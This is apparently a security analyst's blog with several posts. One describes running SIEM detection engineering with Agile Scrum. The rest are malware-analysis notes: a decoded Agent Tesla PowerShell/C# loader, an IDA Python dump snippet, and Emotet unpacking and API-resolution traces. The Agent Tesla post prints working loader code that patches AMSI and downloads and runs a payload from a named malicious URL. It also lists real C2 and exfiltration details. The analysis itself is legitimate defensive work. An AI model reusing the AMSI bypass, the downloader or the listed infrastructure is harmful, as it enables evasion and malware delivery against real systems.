Tuesday, September 15, 2020

How we use Agile Scrum for SIEM Detection Engineering and Threat Hunting

Thought I’d share a thread on how we use a form of #Agile Scrum to keep our #SIEM detection engineering and threat hunting organized. #blueteam https://en.wikipedia.org/wiki/Scrum_(software_development) We are responsible for tracking threat intel at our org and use it to build SIEM detections and threat hunt the environment. To track and organize our work and ensure progress we have adopted a form of Agile Scrum. We have stakeholders such as the SOC and CISO who have a stake in the success of the SIEM detections and threat hunting results. We have a scrum master, a member of our team that ensures we are successful, follow process, and leads us day to day. We have the development team that builds detections in the SIEM, and hunts. Thwy make the magic happen. We use github project management to track our story backlog and in-sprint progress. https://github.com/features/project-management/ Our story backlog is full of SIEM detection ideas , known Mitre Technique gaps we need to fill, threat hunt ideas, SOC dashboard ideas, etc. Each story in the backlog has a point value to gauge effort as well as a priority to ensure we get important stuff done first. The story backlog also contains other deliverables such as TableTop excercises, SOC training, management reporting, etc. We can create burn down charts and calculate velocity to gauge metrics on how well we are doing. We can predict future deployment dates for detections based on whats in the backlog and our average velocity. Every 2 weeks we start a new sprint with a planning meeting where we pull the items highest priority items off the backlog ans assign them out. At thua time we also engage the automation team in case any hunts or detections will require SIEM or SOAR customizations. In the planning meeting we consider story size, staff member capacity, stakeholder priorites, etc. Then daily we have a short call/huddle to identify roadblocks or new priorities. At the end of the 2 weeks we have a sprint review where we present new detections, dashboards, documentation to stakeholders like SOC. We use the Palantir Alert and Detection Strategy framework to provide a documented deliverable to SOC for each detection https://medium.com/palantir/alerting-and-detection-strategy-framework-52dc33722df2 After the sprint review the actual deployment to the SIEM occurs which could include adding, updating, or deleting SIEM detections or dashboards. After deployment we have a retrospective where we talk about what went well or didnt to ensure we never make the samw mistake twice. Using Agile creates awareness that #infosec is constantly changing and requires constant freding to ensure youre on top of the latest threats. As you can expect there is an expedited process for critical or emeegency detections. But most work we have found can be planned, built, and tested in the 2 week time frame. For each detection, following Palantir, we define the detection and its purpose, we build it, twst it by actually getting it to fire, and retro hunt each time to ensure we were not already breached. I hope you found this interesting and helpful. #infosec #blueteam

Tuesday, August 4, 2020

Agent Tesla , Doc => Powershell => C# => EXE => SMTP

https://app.any.run/tasks/27f1e600-b8fc-4c18-a6f0-b35799393cdc/

88cd18b7fbe649bd756b3034525f34c3

function funcDecodeNetClassSourceCode {
 param($paramEncodedNetClassSourceCode)
 $xorKey='s7c5f8';
 $varDecodedNetClassSourceCode='';
 for ($i=0; $i -lt $paramEncodedNetClassSourceCode.length; $i+=2){
  $varEncodedHexBytes=[convert]::ToByte($paramEncodedNetClassSourceCode.Substring($i,2),16);
  $varDecodedChar=[char]($varEncodedHexBytes -bxor $xorKey[($i/2)%$xorKey.length]);
  # write-host ("Encoded: {0} , Decoded: {1}" -f ($varEncodedHexBytes, $varDecodedChar)) # watch every character get xor decoded
  $varDecodedNetClassSourceCode+=$varDecodedChar
 }
 return $varDecodedNetClassSourceCode;
}
$varEncodedNetClassSourceCode = '06440a5b0118204e104103554842105c085f53641a46125d1e193140084c1a5a061b2f560752115a166b1645155c055d000c16460f561417304c154c165a4d710f5914590c4612511044584015511d5043661f4b07520e1b2f774842105c085f53641a46125d1e192d5012037e3d134004541a5443560a590044434c05014700054e3d7c1f5b2a58165701434b170d5d01590659550a511b265b124a0a670c5c084c4e152450126801580074025c0152104644112e4716570a5110171041074c1a5443501e4c16450d152f5607671747465d460e540105103a591765124a5352060005005f4417470f5614171756500d110f071c5d63375b0f7c0b481c45171d445316450d500a0b41154f70084c014e335a0f56070a41790959177b0a571459014e411c3b4806550f5c0518004302410f5b53521b41034a1d172a5b1268074543475f5d150e551d154c015e0d52464f42535b065e11486c27590a711e470c471210515c0647085d1f0451174a7d1d43114c36571a591708446e1a451740075423450c41035b07154a68164d115b0a56464b0756175c0518164f1750145653550c5a0a1802015a0754595b7e0d41364c01171206525b1704561933711d433341141817565a54505e421b165c084c53515753505b5f581641464d1a591715035d120507544f0328730f592f55035811414e1a3852115b035440054d510a54511b265b124a0a670c5c084c4e1531410a751c41067803551c451a174a6b16432f54154c3645115a140515560f4603112e44175412511017064d125d015943430951171712545e0f4403001d2f560767174746504b550751050e5f7e0d41364c01170000055c121b0a5b121809555b045500171e5845135a1f5e0015154c12430a5646511d43435b000b4456021d4f433a591765124a535d0500570c4e455a500001451f1407040d16524b17570a46565205535b470f5656575e4655411c4f031a514b5f000d420342082f5607671747486216450c1c1d711d43334114181d00540c050516025a02525b5b5d0500570c5f405157535d161f4106540d12065300050b46020104540d4a055201560843020604500c46154a1c5d51151f0d02510110165e7c084c2343111b3c5d01584a4e33711d43334114180253000253055b622a5b126807454a005d4d1a591715175b465157025b08485e051d170e4a0551544e5644005a564a49175454004a080b035319094d07171256535e47004a1c1d7a0a43066e3b18100f0756070508071b065714434f05534a080b0e53485d711d4333411418160f550602053e5611460e591f1922590a57107f2459095a125b4b064f033e5611460e591f19205a16415b545b5105595f074f505e0e40534f064f0302565b02510c101f0d5011183a591765124a5b5954025f5b5d630c7c084c45034b1c4d080b07530404115f525b03555c5f044a0e1b450e4417470f5614171057500b440a265b105101580d58035607192450127e1c5b0750146812430b1d2356055e115a08551659171b354816540a540a7e1c5b07501416324713590f5b12430a5a087c1243021c461353153f69005c400e50575e1a531c4342545a4652061d440d17025104040d43154a0e085d04173450047b1f5e065b12105a19275a11561f58025120511f524b42545a4652061d440911035004510c46020004510d10025204500d41070501050944025105540d45075401040941065a04570d12035a01000840060205560d12075b01050945025a045109120650015e0947035605540d42075004510946020605000d43065604510910025605070911075001560945154a19155a4504541c5d6801580050154b2043024712711d510c151e5b11020508085d04173347095b16441066125901432a5b00575b440103550f5a0c3347095b1644101b354c1245171d1e5b1102051c5d4a164316470818430c1e45135a1f5e0015154c12430a56464b07450a5b011804050100035d5b4417470f56141717505f5b411e1846124a1a590415035d46545b08444b445456535e1a484417470f561417110c035e4a015e1744031558111d0f5607170a085603535e5f41030110054d79035614430b0e0f134e054a4e04410752435053014403000825571d41064712162758214c125d5b43060c050a5d641657154c015e0d524e515f054a19570e5a0c110c035e4a0148084e5b1b56111c4e5d460e54010566165256565e635b5e4c074f1d165256565e163f520d5212502e1e5848145d0742115b464a4a52050c50030e4a';
$varNetClassSourceCode = funcDecodeNetClassSourceCode($varEncodedNetClassSourceCode);
write-host ("Everything Decoded: {0}" -f $varNetClassSourceCode)
# Add-Type -TypeDefinition $varNetClassSourceCode; # add malicious code to this powershell session
# [yc947f]::nf37aa(); # initiate malicious code by calling function within the decoded class



---------------------
Results
---------------------
Everything Decoded: using System;using System.Runtime.InteropServices;using System.Diagnostics;using System.IO;using System.N
et;
public class yc947f{[DllImport("kernel32",EntryPoint="GetProcAddress")]public static extern IntPtr e5974c(IntPtr ee5c8,string
 tc65b8d);[DllImport("kernel32",EntryPoint="LoadLibrary")]public static extern IntPtr r9ef96(string w1d838);[DllImport("kerne
l32",EntryPoint="VirtualProtect")]public static extern bool q6922a(IntPtr q34cd35,UIntPtr da9a6f1,uint f4f6c,out uint eea2da)
;[DllImport("Kernel32.dll",EntryPoint="RtlMoveMemory",SetLastError=false)]static extern void qa8774c(IntPtr h8bddc6,IntPtr c5
cda,int zb8138d);public static int nf37aa(){IntPtr jf514=r9ef96(w2b5ee("125a105c485c1f5b"));if(jf514!=IntPtr.Zero){IntPtr n77
9c=e5974c(jf514,w2b5ee("325a105c355b12592140005e1645"));if(n779c!=IntPtr.Zero){UIntPtr qdc75=(UIntPtr)5;uint qc5f47=0;if(q692
2a(n779c,qdc75,0x40,out qc5f47)){Byte[] c8dca={0x31,0xff,0x90};IntPtr e863d=Marshal.AllocHGlobal(3);Marshal.Copy(c8dca,0,e863
d,3);qa8774c(new IntPtr(n779c.ToInt64()+0x001b),e863d,3);}}}string sb637=Environment.GetFolderPath(Environment.SpecialFolder.
ApplicationData) + "\\fd393b8" + w2b5ee("5d521b50");new WebClient().DownloadFile(w2b5ee("1b4317455c175c5116520f4c17520256074b
1219115a494f031a005a084c1659171a1348144502510317155e0f5015171c550a1b034016"),sb637);ProcessStartInfo xcb5f=new ProcessStartIn
fo(sb637);Process.Start(xcb5f);return 0;}public static string w2b5ee(string te9c2){string ee5c8="s7c5f8";string r9ef96="";for
(int i=0; i<te9c2.Length;i+=2){byte e5974c=Convert.ToByte(te9c2.Substring(i,2),16);r9ef96+=(char)(e5974c^ee5c8[(i/2)%ee5c8.Le
ngth]);}return r9ef96;}}







https://app.any.run/tasks/27f1e600-b8fc-4c18-a6f0-b35799393cdc/

88cd18b7fbe649bd756b3034525f34c3

using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using System.Net;
# [yc947f]::nf37aa() # malicious entry point
public class yc947f{
 [DllImport("kernel32",EntryPoint="GetProcAddress")]
 public static extern IntPtr funcKernel32GetProcAddress(IntPtr paramHandleToDll,string paramLibraryName);
 
 [DllImport("kernel32",EntryPoint="LoadLibrary")]
 public static extern IntPtr funcKernel32LoadLibrary(string paramDllName);

 [DllImport("kernel32",EntryPoint="VirtualProtect")]
 public static extern bool funcKernel32VirtualProtect(IntPtr paramMemoryAddress,UIntPtr paramMemorySize,uint paramNewProtectionValue,out uint paramOldProtectionValue);
 
 [DllImport("Kernel32.dll",EntryPoint="RtlMoveMemory",SetLastError=false)]
 static extern void funcKernel32RtlMoveMemory(IntPtr paramDestinationAddress,IntPtr paramSourceAddress,int paramLengthOfBytes);

 public static int nf37aa(){
  # malicious entry point, patching AMSI Dll and a C# downloader
  string varDllName = funcDecodeString("125a105c485c1f5b");
  Console.WriteLine(String.Format("Dll: {0}", varDllName));
  IntPtr varHandleToDll=funcKernel32LoadLibrary(varDllName);
  if(varHandleToDll!=IntPtr.Zero){
   string varFunctionName = funcDecodeString("325a105c355b12592140005e1645");
   Console.WriteLine(String.Format("Function: {0}", varFunctionName));
   IntPtr varHandleToFunction=funcKernel32GetProcAddress(varHandleToDll,varFunctionName);
   if(varHandleToFunction!=IntPtr.Zero){
    UIntPtr varMemorySize=(UIntPtr)5;
    uint varOldProtectValue=0;
    if(funcKernel32VirtualProtect(varHandleToFunction,varMemorySize,0x40,out varOldProtectValue)){
     Byte[] var3BytesToCopy={0x31,0xff,0x90};
     IntPtr varHandleToAllocatedMemory=Marshal.AllocHGlobal(3);
     Marshal.Copy(var3BytesToCopy,0,varHandleToAllocatedMemory,3);
     # funcKernel32RtlMoveMemory(new IntPtr(varHandleToFunction.ToInt64()+0x001b),varHandleToAllocatedMemory,3); # overwrite bytes in function
    }
   }
  }
  string varFileName = funcDecodeString("5d521b50");
  Console.WriteLine(String.Format("File: {0}", varFileName));
  string varFileFullPath=Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\fd393b8" + varFileName;
  Console.WriteLine(String.Format("Path: {0}", varFileFullPath));
  string varUrl = funcDecodeString("1b4317455c175c5116520f4c17520256074b1219115a494f031a005a084c1659171a1348144502510317155e0f5015171c550a1b034016");
  Console.WriteLine(String.Format("Url: {0}", varUrl));
  new WebClient().DownloadFile(varUrl,varFileFullPath); # download the malware
  ProcessStartInfo varProcessToRun=new ProcessStartInfo(varFileFullPath);
  # Process.Start(varProcessToRun); # run the malware
  return 0;
 }
 public static string funcDecodeString(string paramEncodedString){
  string varXorKey="s7c5f8";
  string varDecodedString="";
  for (int i=0; i<paramEncodedString.Length; i+=2){
   byte varEncodedByte=Convert.ToByte(paramEncodedString.Substring(i,2),16);
   varDecodedString+=(char)(varEncodedByte^varXorKey[(i/2)%varXorKey.Length]);
  }
  return varDecodedString;
 }
}



Dll: amsi.dll
Path: C:\Users\Win7\AppData\Roaming\fd393b8.exe
Url: http://fugitdeacasa.ro/wp-content/upgrade/files/obi.exe

Agent Tesla

c2 terminal6.veeblehosting.com
tcp port 587

https://app.any.run/tasks/ca52c30e-92fb-41ee-92cf-0483b357cbfb
https://www.virustotal.com/gui/file/ff62a08f679ddad3fae88ea47a3985d003c5dc252e826feac7f59a366487b328/community



agent tesla
https://www.virustotal.com/gui/file/ff62a08f679ddad3fae88ea47a3985d003c5dc252e826feac7f59a366487b328/behavior/C2AE

smtp

port 587

"terminal6.veeblehosting.com"
"obi@a-t-mould.com"
{obi@a-t-mould.com}
{obi@a-t-mould.com}

Friday, July 31, 2020

Ida Pro Python Save Dump Extract In Memory Unpacked Binary Bin

so i'm going to try in IDA hit SHIFT-F2, select python, type in this code
 filename = AskFile(1, "*.bin", "Output file name")
 address = 0x004015C3
 size = 0x4A3D
 dbgr = False
 with open(filename, "wb") as out:
  data = GetManyBytes(address, size, use_dbg=dbgr)
  out.write(data)

Wednesday, July 29, 2020

further into the emotet 1st level packer

emotet mfc
https://app.any.run/tasks/585ddd5e-0dde-421f-8b8a-e7dbaf4f8c05/
3F32E053657036D09C84D6DAD220EF50

my random notes on where i got and what i saw

Go into AfxDlgProc() set breakpoint on
call dword ptr [edx+144h]

step into the call (renamed to subEmotetDecryptor)
 this is likely the start of the Emotet Decryptor

subEmotetDecryptor()
- CDialog::OnInitDialog()
- GetSystemMenu()
- FromHandle()
- subMove1ValuetoEAX()
- call dword ptr [edx+0ch]
- AfxFindStringResourceHandle()
- subFindResource()
-- FindResourceA()
-- localFunction9()
--- LoadResource()
--- LockResource()
--- SizeOfResource()
--- localFunction10() [GetVersionExA, InterlockedExchange]
--- WideCharToMultiByte()
--- localFunction11()
---- call dword ptr [edx+8]
--- localFunction10() [GetVersionExA, InterlockedExchange]
--- WideCharToMultiByte()
--- localFunction6()
- AppendMenuA()
- AppendMenuA()
- "mshta.exe" stack string
- _wcslen()
- subLotsSubCalls1()
- _wcslen()
- subLotsSubCalls1()
- _wcslen()
- subLotsSubCalls1()
- subLotsSubCalls1b()
- subLotsSubCalls1b()
- subLotsSubCalls1b()
- LoadLibraryExW()
- long string "9xgnie40s......"
- subGetApis()
-- LoadLibraryExA()
--- stack string "VirtaAocExNuma"
--- stack string "kerne32.d"
--- LoadLibraryExA()
--- GetProcAddress
--- stack string "taskmgr.exe"
--- LoadLibraryExA()
--- GetCurrentProcess()
--- subFindResourceHandleCallPtr()
--- call ebp (1st unpacked code????)
---- subGetApiIntoEax (LoadLibraryA)
---- subGetApiIntoEax (GetProcAddress)
---- subGetApiIntoEax (VirtualAlloc)
---- subGetApiIntoEax (VirtualProtect)
---- subGetApiIntoEax (ZwFlushInstructionCache)
---- subGetApiIntoEax (GetNativeSystemInfo)
---- call ebx (GetNativeSystemInfo)
---- eax = 4096 (on my machine) - 1 = 4095 <== dwPageSize? size of page used by VirtualAlloc
---- ebx = 53248 (on my machine)
---- ecx = FFF + C200 = D1FF
---- edx = !FFF = FFFFF000
---- eax = eax + ebx = DFFF
---- ecx = ecx & edx = D000
---- eax = eax & edx = D000
---- if eax != ecx [exit]
---- call ebp (VirtualAlloc(null, 53248, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE), returns EAX = 00300000
---- call [esp+5Ch+var_3C] (LoadLibraryA("Kernel32.dll"), returns EAX=76140000
---- call esi (GetProcAddress(7614000, IsProcessorFeaturePresent), returns EAX=76155135
---- loop
----- call [esp+68h+var_2C] (VirtualProtect(0x00301000, 28160, PAGE_EXECUTE_READ)
----- call [esp+68h+var_2C] (VirtualProtect(0x00308000, 512, PAGE_READONLY)
----- call [esp+68h+var_2C] (VirtualProtect(0x00309000, 3072, PAGE_READWRITE)
----- call [esp+68h+var_2C] (VirtualProtect(0x0030B000, 512, PAGE_READONLY)
----- call [esp+68h+var_2C] (VirtualProtect(0x0030C000, 512, PAGE_READONLY)
---- call [esp+64h+var_28] (ZwFlushInstructionCache(0xFFFFFFFF, null, null)
---- call esi (local code debug038:0034244)
----- call localFunction1()
------ ***lots of calls to decryptApi() and many much more code***, i set breakpoints on decryptApi calls, they are below
------ GetProcessHeap(), returns EAX=0x00520000
------ GetModuleHandleA("NTDLL"), returns EAX=77910000
------ RtlAllocateHeap(0x00520000, HEAP_ZERO_MEMORY, 48)
------ GetProcessHeap()
------ RtlAllocateHeap(0x00520000, HEAP_ZERO_MEMORY, 48) <== lots of these, skipping them in the future
------ LoadLibraryW("advapi32.dll"), returns EAX=75D20000
------ GetProcessHeap() <== lots of these, skipping them in the future
------ HeapFree() <== lots of these, skipping them in the future
------ LoadLibraryW("crypt32.dll"), returns EAX=753C0000
------ LoadLibraryW("shell32.dll"), returns EAX=76480000
------ LoadLibraryW("shlwapi.dll"), returns EAX=760B0000
------ LoadLibraryW("urlmon.dll"), returns EAX=750C0000
------ LoadLibraryW("userenv.dll"), returns EAX=76080000
------ LoadLibraryW("wininet.dll"), returns EAX=75680000
------ LoadLibraryW("stsapi32.dll"), returns EAX=74B50000
------ OpenScManagerW(null, null, SC_MANAGER_ALL_ACCESS)
------ CloseServiceHandle()
------ SHGetFolderPathW()
------ GetModuleFileNameW(null) <-- gets full path of this exe
------ PathSkipRootW()
------ PathFindExtensionW()
------ lstrcpynW()
------ GetModuleFileNameW(null)
------ snwprintf()
------ FindFirstFileW("c:\windows\system32\")
------ loop
------- FindNextFileW()
-------  sometimes ==> PathFindExtensionW("12520437.cpx") <-- ran multiple file names, folders, dlls, etc.
------ FindClose()
------ GetCommandLineW()
------ CommandLineToArgW()
------ LocalFree()
------ GetModuleFileNameW(null)
------ CreateFileW("c:\users\win7\desktop\emotet.exe", FILE_READ_ATTRIBUTES, FILE_SHARE_READ) <-- name of this executable
------ GetFileInformationByHandleEx()
------ CloseHandle()
------ GetSystemTimeAsFileTime()
------ OpenScManagerW()
------ OpenServiceW(, "emotet", ) <-- name of current executable, returns NULL because doesn't exist
------ CloseServiceHandle()
------ GetTickCount()
------ lstrcpyW()
------ lstrlenW()
------ GetTickCount()
------ lstrcpyW()
------ lstrlenW()
------ GetCurrentProcessID()
------ memset(0x18E76Ch, 0, 30)
------ memset(0x18E76Ch, 0, 500)
------ memset(..)
------ lstrcpyW("c:\windows\syswow64\cmdl32\negoexts.exe", ..)
------ SHFileOperationW()

*** IDS thew a next step debugger exception here ***

----- call decryptApi()
----- call eax
---- *** more code ***
---- call eax (near the bottom)
- call dword ptr [edx+4]
- SendMessageA()
- SendMessageA()
- SendMessageA()
- call dword ptr [edx+140h]
- string "http://www.ucancode.net..."
- subFindResourceHandleCallPtr2()
- call dword ptr [eax+138h]
- Cwnd::GetDlgItem()
- GetWindowRect()
- Cwnd::ScreenToClient()

Tuesday, July 28, 2020

emotet mfc using CreateDlgIndirect lpDialogFunc call-back

emotet mfc starting point notes, trying to figure out where the malicious code starts
https://app.any.run/tasks/585ddd5e-0dde-421f-8b8a-e7dbaf4f8c05/
3F32E053657036D09C84D6DAD220EF50

WinMain()
-AfxGetThread()
-AfxGetModuleState()
-AfxWinInit()
--AfxGetModuleState()
--AfxGetModuleState()
--CWinApp::SetCurrentHandles()
--AfxGetModuleState()
--AfxInitThread()
---AfxGetModuleState()
---AfxGetThreadState()
---AfxMsgFilterHook()
--GetModuleHandleA(user32.dll)
--GetProcAddress(NotifyWinEvent)
-call dword ptr [eax+90h] (which is CWinApp::InitApplication)
-call dword ptr [eax+50h] (which is local function in .text)
-- AfxEnableControlContainer()
-- call localFunction1()
--- CDialog::CDialog()
--- call localFunction3()
---- CWnd::CWnd
---- call localFunction4() [just moves 1 memory slot]
---- call dword ptr [edx+0ch]
---- CToolTipCtrl::CToolTipCtrl()
---- GetSysColor
---- call localFunction5()
----- branches to possibly these items
------ localFunction6()
------- branches to possibly these items
-------- unknown_libname (mfc 3.1-14.0 32bit)
-------- AfxThrowOleException
------ call dword ptr [edx+4]
----- call dword ptr [eax+0ch]
--- CWnd::CWnd()
--- call ??_L@... (vector constructor iterator)
--- AfxGetModuleState()
--- AfxGetModuleState()
--- LoadIconA
-- CDialog::DoModal()
-- call localFunction2()
-if success
--call dword ptr [eax+54h] (which is CWinApp::Run)
-if failure
--call dword ptr [eax+68h] (which is CWinApp::ExitInstance)
-AfxWinTerm

my 1st assumption was to break on
 CWinApp::Run
that didn't work, emotet still installed service & never hit my breakpoint

so instead i end up looking at that local function in .text that calls
 AfxEnableControlContainer, DoModal
googling shows this template below is common in C# mfc code that does a "popup dialog box"
 CWinApp::InitInstance()
 AfxEnableControlContainer()
 CMainDialog dlg
 dlg.DoModal()
emotet doesn't show a modal (unless it's hidden?) but maybe there is hidden code in the modal???

trying to find a good breakpoint
- AfxEnableControlContainer is hit
- call localFunction1 is hit
- DoModal is hit
- call localFunction2 is NOT hit
malicious code appears to execute & exit when DoModal is called

Inside DoModal i first tried breakpoints at
 CDialog::PostModal
but it never hit my breakspoint, so malicious code ran before that

DoModal (still in the .text section)
- AfxGetModuleState()
- AfxGetModuleState()
- FindResourceA()
- LoadResource()
- LockResource()
- CDialog::PreModal()
- AfxUnhookWindowCreate()
- AfxHookWindowCreate()
- CWnd::FromHandle()
- CWnd::CreateDlgIndirect()
- ... more ...

Stepping thru DoModal, the malicious code runs after call to
 CWnd::CreateDlgIndirect()
so I need to dig more in there

msdn ( https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-createdialogindirecta )
appears to indicate that there is a lpDialogFunc of type DLGPROC
 this can be a call-back procedure, i think there is where the malicious code is

CreateDlgIndirect()
- CreateDialogIndirectParamA(..., AfxDlgProc/lpDialogFunc, )
-- CreateDialogIndirectParamAorW()
--- call near ptr unk_76371801
--- call near ptr unk_763718E1
---- AfxDlgProc() <-- i think this is the CreateDlgIndirect using the call-back function
---- call dword ptr [edx+144h]
------ call localFunction7() in .text
------- CDialog::OnInitDialog()
------- GetSystemMenu()
------- FromHandle()
------- localFunction4()
------- call dword ptr [edx+0ch]
------- AfxFindStringResourceHandle()
------- localFunction8()  <-- possibly the start of the malicious code
-------- FindResourceA()
-------- localFunction9()
--------- LoadResource()
--------- LockResource()
--------- SizeOfResource()
--------- localFunction10() [GetVersionExA, InterlockedExchange]
--------- WideCharToMultiByte()
--------- localFunction11()
---------- call dword ptr [edx+8]
--------- localFunction10() [GetVersionExA, InterlockedExchange]
--------- WideCharToMultiByte()
--------- localFunction6()
------- AppendMenuA()
------- !!! DEFINITELY EVIL CODE !!!
------- (stack string for mshta.exe)

emotet api resolution, fs:30h, _PEB_LDR_DATA

just summarizing important parts in this great blog
https://distributedcompute.com/2020/04/19/how-emotet-resolves-apis/


-----------
STEPS TO GET THE DLL NAMES CURRENTLY IN MEMORY
-----------
mov eax, large fs:30h

EAX now contains pointer to TEB (thread environment block)
-----------
mov esi, [eax+0ch]

ESI now contains pointer to PEB (process environment block)
-----------
add esi, 0ch

ESI now contains pointer to _PEB_LDR_DATA (doubly linked list of in memory modules/dlls)
-----------


-----------
STEPS TO GET THE EXPORTED FUNCTION NAMES FROM A DLL
-----------
mov eax, [esi+3ch]    #esi = _PEB_LDR_DATA from above

EAX now contains pointer to PE Header
------------
add eax, 78h

EAX now contains pointer to Export Table from PE Header
-------------
mov edi, [eax]
add edi, esi
mov eax, [edi+20h]

EAX now contains point to Export NAME table
---------------
mov eax, [edi+1Ch]

EAX now contains pointer to Export ADDRESS table

EAX now

attempt at emotet api resolver

random scattered notes
https://app.any.run/tasks/585ddd5e-0dde-421f-8b8a-e7dbaf4f8c05/

3F32E053657036D09C84D6DAD220EF50



update: after-the-fact This blog seems useful
https://distributedcompute.com/2020/04/19/how-emotet-resolves-apis/
"...the FS register points to the Thread Environment Block, or TEB. The offset 0x30 contains a pointer to the Process Environment Block, or PEB. From there the malware will walk the structure to _PEB_LDR_DATA which contains the head of a doubly-linked list called InMemoryOrderModuleList. This list contains the list entries containing BaseDllName and DllBase. When the entry point to the PE header is located, the PE structure is walked to find the export table. Emotet will then loop over the exported names to find the API function it is searching for..."

-----------
api monitor
-----------
910.exe
- spawned child "mssvp.exe" in appdata
- create windows service mssvp

sc delete "service name"
copy emotet_copy.exe emotet.exe
breakpoint openscmanager
ctrl-f7 (run until return, until get back to "debug" code)
select program segment, highlight, click 'C' for code, analyze
change to "Graph View"

look for code
  mov ecx, [esi+30h]
  call sub_???? (transform api with bunch of xors)
  xor eax, 11D20899h
  cmp eax, ebx

looking for 23F29385 (in ebx)

dll name transformed xor'd
emotet-910.exe C9F6F7D9 D824FC40
ntdll.dll D22E2014 C3FC288D
kernel32.dll 8F7EE672 9EaCEDEB
KERNELBASE.dll 6267DEE4 73B5D57D
USER32.dll D3361080 C2E41B19
GDI32.dll B6C64D61 A71446F8
LPK.dll FF368B1D EEE48084
UPS10.dll F73320A7 E6E12B3E
msvcrt.dll 88053F6B 99D734F2
ADVAPI32.dll 3220981C 23F29385 (found it)

mov edx, 4A609DFEh
mov ecx, 23F29385h #transformed & xor'd api to resolve
call apiResolver

apiResolver(edx=not used (4A609DFEh), ecx=transformAndXordApi (23F29385))
 apiResolverInternal(edi=4A609DFEh, ecx=transformAndXordApi (23F29385))
  foreach api in fs:30h
   eax = subTransformModule(ecx=edi+esicounter) #30h intervals
   eax = eax | 11D20399h
   if(eax == transformAndXordApi)
    eax = [esi+18h] # the starting address of the module dll (75D20000 for ADVAPI32)
exit loop & use it

functionResolver(edx=function looking for (4A609DFEh), ecx=apiResolutionDllAddress (75D20000 for ADVAPI32))
 foreach function
  ecx = ecx + apicounter #ecx starts as ADVAPI32 address
  eax = subTransformFunction(ecx)
  eax = eax | 5776499Bh
  if(eax == edx)
     eax=ecx
exit loop & use it

looking for 4A609DFEh (in ebp+var8)

function name transformed xor'd
** F82294E8 AF54DD73
** 838A4B1E D4FC0285
** FC3ECBB7 AB48822C
** 4C8FA46C 1BF9EDF7
** 4C8FA482 1BF9ED19
CloseServiceHandle  ***                ***